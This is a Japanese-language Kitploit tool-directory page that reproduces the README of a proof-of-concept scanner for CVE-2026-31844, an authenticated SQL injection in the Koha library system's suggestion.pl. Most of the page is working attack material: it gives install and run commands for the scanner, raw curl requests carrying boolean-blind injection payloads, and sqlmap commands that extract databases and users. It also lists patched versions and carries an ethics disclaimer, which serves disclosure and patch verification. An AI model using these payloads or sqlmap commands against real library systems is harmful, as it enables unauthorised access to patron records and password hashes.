Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31844 — 認証済みSQLインジェクションスキャナ。Koha図書館管理システム(CVE-2026-31844)向けで、ブールベースのブラインド手法を用いて脆弱性を検証し、データを抽出します。 | Kitploit
ツール/GitHubGitHub/mothra-1/cve-2026-31844
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

認証済みSQLインジェクションスキャナ。Koha図書館管理システム(CVE-2026-31844)向けで、ブールベースのブラインド手法を用いて脆弱性を検証し、データを抽出します。

リポジトリを見る
115ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Koha CVE-2026-31844: 認証済みSQLインジェクション

Release Python 3.6+ CVE ID License

概要

このリポジトリには、Koha図書館管理システムにおける深刻度の高い認証済みSQLインジェクション脆弱性である CVE-2026-31844 に対する責任ある脆弱性POCが含まれています。

この脆弱性は、/cgi-bin/koha/suggestion/suggestion.pl スクリプトによって呼び出される C4/Search.pm の GetDistinctValues 関数に存在します。displayby パラメータを介して悪用される可能性があります。

  • Koha Bug: #41593
  • 修正バージョン: 26.05.00, 25.11.01, 25.05.07, 24.11.12

脆弱性の詳細

suggestion.pl スクリプトの displayby パラメータは、テーブル修飾されたカラム名を構築するために使用され、その後 GetDistinctValues 関数に渡されます。しかし、この関数はテーブル名とカラム名の両方を、入力検証やパラメータ化を一切行わずに 直接 生のSQLクエリに埋め込みます。 その結果、攻撃者は displayby パラメータを操作して、クエリに悪意のあるSQLコードを注入することができます。入力がSQL文に含まれる前にサニタイズされないため、この動作はSQLインジェクションの脆弱性を引き起こし、攻撃者がデータベース上で任意の ブールベースのブラインド 手法によるSQLコマンドを実行できる可能性があります。

root@kitploit:~
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

発見者

Raximov Shukrulloh (Mothra)

ターゲットをスキャンできます

スキャナーは ブールベースのブラインド 手法を使用して脆弱性を検証します

カラム名の位置に条件文を注入することで、差分のあるHTTPレスポンスを観察できます:

  • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → サブクエリエラー → HTTP 500
  • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → 有効なクエリ → HTTP 200

ターゲットが真の条件で 500 を返し、偽の条件で 200 を返す場合、脆弱性が確認されます。

インストールと使用方法

1. リポジトリのクローン

root@kitploit:~
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

2. 依存関係のインストール

root@kitploit:~
pip3 install requests

3. スキャナーの実行

suggestions 権限を持つKohaスタッフアカウントの有効な認証情報を提供する必要があります。

root@kitploit:~
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

自己署名SSL証明書を使用するターゲットの場合:

root@kitploit:~
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

4. 出力例

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

手動による概念実証 (PoC)

curl を使用して脆弱性を手動で検証できます。まず、Kohaスタッフインターフェースに認証し、CGISESSID クッキーを取得します。

真の条件 (HTTP 500 を返す):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

偽の条件 (HTTP 200 を返す):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

5. SQLMapによる悪用

SQLMapはブールベースのブラインドインジェクションをネイティブにサポートしています。データ抽出を自動化するには、認証済みの有効なHTTPリクエストを request.txt に保存します。csrf_token と CGISESSID クッキーを有効な状態に保ってください。

request.txt の例:

root@kitploit:~
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

ブール手法 (--technique=B) でSQLMapを実行します:

root@kitploit:~
# 基本的なデータベース抽出
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# 現在のユーザーの抽出
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

または、コマンドラインから直接実行します:

root@kitploit:~
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db

しばらくすると、sqlmapが正しいペイロードを特定します。

影響

パッチが適用されない場合、この脆弱性により認証済みの攻撃者が以下を行うことができます:

  1. 機密情報の抽出 (利用者記録、パスワードハッシュ)
  2. データベーススキーマの列挙
  3. バックエンドデータベースの完全な侵害

緩和策

この脆弱性の修正を含むKohaバージョン 24.11.12、25.05.07、25.11.01、または 26.05.00 (以降) に更新してください。

クレジット

Raximov Shukrulloh (Mothra)

連絡先

Telegram bot @MothraContact_bot

倫理的考慮事項

この概念実証は、教育および防御目的のみで提供されています。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。

免責事項

著者は、この情報の誤用について一切の責任を負いません。この概念実証は、所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。

ツールをダウンロード